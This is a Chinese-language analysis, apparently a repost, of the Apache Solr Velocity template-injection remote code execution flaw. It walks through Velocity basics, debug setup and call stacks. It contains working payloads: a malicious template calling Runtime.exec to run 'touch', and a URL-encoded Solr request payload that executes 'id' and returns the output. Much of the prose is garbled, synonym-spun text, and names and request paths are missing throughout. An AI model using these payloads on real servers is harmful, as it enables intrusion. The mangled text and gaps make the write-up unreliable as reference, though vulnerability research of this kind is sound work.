网络黑客信息平台网:Apache Solr 远程控制代码执行漏洞浅谈(CVE-2021-17558)
Solr 是Apache Lucene新项目的开源系统公司搜索平台。其关键作用包含全文搜索、击中标识、分面检索、动态性聚类算法、数据库查询集成化,及其富文本的解决。
Solr是用Java撰写、运作在Servlet器皿(如Apache Tomcat或Jetty)的一个单独的全文检索网络服务器。 Solr选用了Lucene Java检索库为关键的全文索引和检索,并具备相近REST的HTTP/XML和JSON的API。
Apache Solr 5.0.0版本至8.3.1版本中存有键入认证不正确漏洞。网络攻击可依靠自定的Velocity模板作用,运用Velocity-SSTI漏洞在Solr系统软件上实行随意编码。
Apache Velocity是一个根据Java的模板模块,它出示了一个模板语言表达去引入由Java编码界定的目标。Velocity是Apache慈善基金会集团旗下的一个开源项目新项目,致力于保证Web应用软件在表示层和领域模型层中间的防护(即MVC策略模式)。
挑选和Apache Solr中应用的同样的。
在依靠中加上座标引进:
org.apache.velocity
velocity-engine-core
2.0
句子标志符
用于标志的脚本制作句子,包含、 、、、、、、、等句子。
变量
用于标志一个变量,例如模板文档中为,能够获得根据前后文传送的
声明
用以声明Velocity脚本制作变量,变量能够在脚本制作中声明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注释
单行注释为,几行注释为成对发生的
或运算
== && || !
if语句
认为例:
#if($foo<10)
1
#elseif($foo==10)
2
#elseif($bar==6)
3
#else
4
#end
单双引号
单引号不分析引入內容,双引号分析引入內容,与PHP有一些类似
#set ($var="aaaaa")
'$var' ## 結果为:$var
"$var" ## 結果为:aaaaa
特性
根据操作符应用变量的內容,例如获得并启用
#set($e="e")
$e.getClass()
转义字符
假如早已被界定,可是又必须原状輸出,能够使用转义做为重要的
应用Velocity关键步骤为:
复位Velocity模板模块,包含模板途径、载入种类等
建立用以储存预传送到模板文档的数据信息的前后文
挑选实际的模板文档,传递数据进行3D渲染
test.java
package Velocity;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import java.io.StringWriter;
public class test{
public static void main(String[]args){
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" sw);
}
}
模板文档
Hello World! The first velocity demo.
Name is $name.
Project is $project
輸出結果:
final output:Hello World! The first velocity demo.
Name is Rai4over.
Project is Velocity
根据建立模板模块,然后设定模板途径、加载器种类为,最终根据进行模块复位。
根据建立前后文变量,根据加上模板中应用的变量到前后文。
根据挑选途径中实际的模板文档,创建对象储存3D渲染結果,随后将前后文变量传到开展3D渲染。
改动模板內容为恶意程序,根据开展指令实行
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")
org.apache.velocity.app.VelocityEngine
模块复位时构造方法哪些也没做,可是会启用,然后启用设定途径等主要参数。
org.apache.velocity.app.VelocityEngine#setProperty
便是前边的案例,跟踪方式
org.apache.velocity.runtime.RuntimeInstance#setProperty
启用设定键值对,最终模块目标后为:
org.apache.velocity.VelocityContext#VelocityContext()
再次启用有结构主要参数
org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)
被取值为空的,前后文变量建立进行。
org.apache.velocity.context.AbstractContext#put
调用函数
org.apache.velocity.VelocityContext#internalPut
启用存进中,回到顶层启用模板模块目标载入模板文档
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)
步歩跟踪套娃的方式,随后启用方式
org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)
这儿最先会应用資源文件夹名称和资源开展拼凑为資源键名,随后根据方式分辨資源名是不是在目标的缓存文件中,
org.apache.velocity.runtime.resource.ResourceCacheImpl#get
随后进一步分辨目标的组员并回到分辨結果。
假如資源被缓存文件击中则立即载入,假如缓存文件获得不成功则调用函数载入,载入取得成功后也一样会依据資源键名放进便于下一次搜索。
org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource
依据資源名字、种类根据转化成資源加载器,随后启用从当今資源加载器集中化载入資源。
org.apache.velocity.Template#process
public boolean process()
throws ResourceNotFoundException, ParseErrorException
{
data = null;
InputStream is = null;
errorCondition = null;
try
{
is = resourceLoader.getResourceStream(name);
}
catch( ResourceNotFoundException rnfe )
{
errorCondition = rnfe;
throw rnfe;
}
if (is != null)
{
try
{
BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
data = rsvc.parse( br, name);
initDocument();
return true;
}
获取命名资源作为流,进行解析和初始化
最后将解析后的模板AST-node放入data中并层层返回,然后调用进行合并渲染。
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)
这里是上面提到的类的,并调用进行渲染
org.apache.velocity.runtime.parser.node.SimpleNode#render
通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)
漏洞环境的关键点:
Apache Solr version 8.2.0
Apache Ant(TM) version 1.9.15
JDK,java version "1.8.0_112"
IDEA DEBUG
首先下载Apache Solr,选择版本为存在漏洞的,链接地址为:
解压后得到源码,接着需要使用工具构建以供IDEA使用。
操作系统为OSX,使用安装,并且不要使用最新版(构建会存在BUG)且需要指定版本为。
brew install && brew link --force
校验安装结果
~/Desktop ant -version
Apache Ant(TM) version 1.9.15 compiled on May 10 2020
接着开始构建solr
cd solr-8.2.0
ant ivy-bootstrap
ant idea
cd solr
ant server
速度会很慢,最好能科学上网,每次构建都成功的话提示。
回到构建好的源码根目录,修改执行权限后即可运行。
cd solr/bin/
chmod 777 solr
生成测试数据并启动:
-f -e dih
得到测试数据路径后为:
/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr
关闭solr
stop -p 8983
设置远程调试后重新开启solr
/solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr"
导入将构建后源码导入IDEA,并设置远程调试如下:
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)
首先需要能够访问目标Apache Solr,未做鉴权设置或者猜解进入solr应用系统。
通过API获取所有的核心:
可以发现示例数据有多个核心,但并非全部的核心都能利用,需要对核心的进行配置。
以为例,配置文件的位置为:
/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/solrconfig.xml
是插件,可以定义任何请求的响应格式.
漏洞的触发需要核心配置并使用插件
${velocity.template.base.dir:}
没有配置插件的核心无法触发漏洞。
插件的选项默认情况下没有打开,无法使用自定义模板,首先需要通过请求打开该选项。
修改配置的请求时间会比较久,请求如果不为并报错,则可能是该核心没有配置插件,需要更换其他核心进行尝试利用漏洞。
使用自定义模板注入并进行远程命令执行
($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞触发分为两步
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)
将请求对象、响应对象传入参数不同的。
org/apache/solr/servlet/SolrDispatchFilter.java:420
创建对象,最终对象中的成员的存储情况如下:
继续跟进方法。
org/apache/solr/servlet/HttpSolrCall.java:566
这里根据进行开关选择,进入分支,创建对象,然后传入方法。
org.apache.solr.servlet.HttpSolrCall#execute
返回成员中的对象,并传入类的成员并调用方法。
org.apache.solr.core.SolrCore#execute
跟进函数
org.apache.solr.handler.RequestHandlerBase#handleRequest
org.apache.solr.handler.SolrConfigHandler#handleRequestBody
这里解析POST请求,并进入对应的。
org.apache.solr.handler.SolrConfigHandler.Command#handlePOST
通过得到以及相同的
继续跟进函数
org/apache/solr/handler/SolrConfigHandler.java:480
首先是函数生成。
org.apache.solr.handler.SolrConfigHandler.Command#updateNamedPlugin
org.apache.solr.handler.SolrConfigHandler.Command#verifyClass
org.apache.solr.core.SolrCore#createInitInstance
org.apache.solr.response.VelocityResponseWriter#init
一路跟进到对象的初始化,自定义选项已经开启。
org/apache/solr/handler/SolrConfigHandler.java:504
转换为格式然后传入。
org.apache.solr.core.SolrResourceLoader#persistConfLocally
JSON配置数据写入本地且路径为
/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/configoverlay.json
此时的调用栈为:
persistConfLocally:890, SolrResourceLoader (org.apache.solr.core)
handleCommands:504, SolrConfigHandler$Command (org.apache.solr.handler)
handlePOST:345, SolrConfigHandler$Command (org.apache.solr.handler)
access$100:159, SolrConfigHandler$Command (org.apache.solr.handler)
handleRequestBody:137, SolrConfigHandler (org.apache.solr.handler)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2578, SolrCore (org.apache.solr.core)
execute:780, HttpSolrCall (org.apache.solr.servlet)
call:566, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)
前面的流程和上面比较相似,直接看触发模板注入的位置
org/apache/solr/servlet/HttpSolrCall.java:580
首先获取前面开启选项的对象,接着传入函数。
org.apache.solr.servlet.HttpSolrCall#writeResponse
接着调用
org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse
org.apache.solr.response.VelocityResponseWriter#write
完成命令执行,此时的调用栈为:
write:150, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:873, HttpSolrCall (org.apache.solr.servlet)
call:582, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)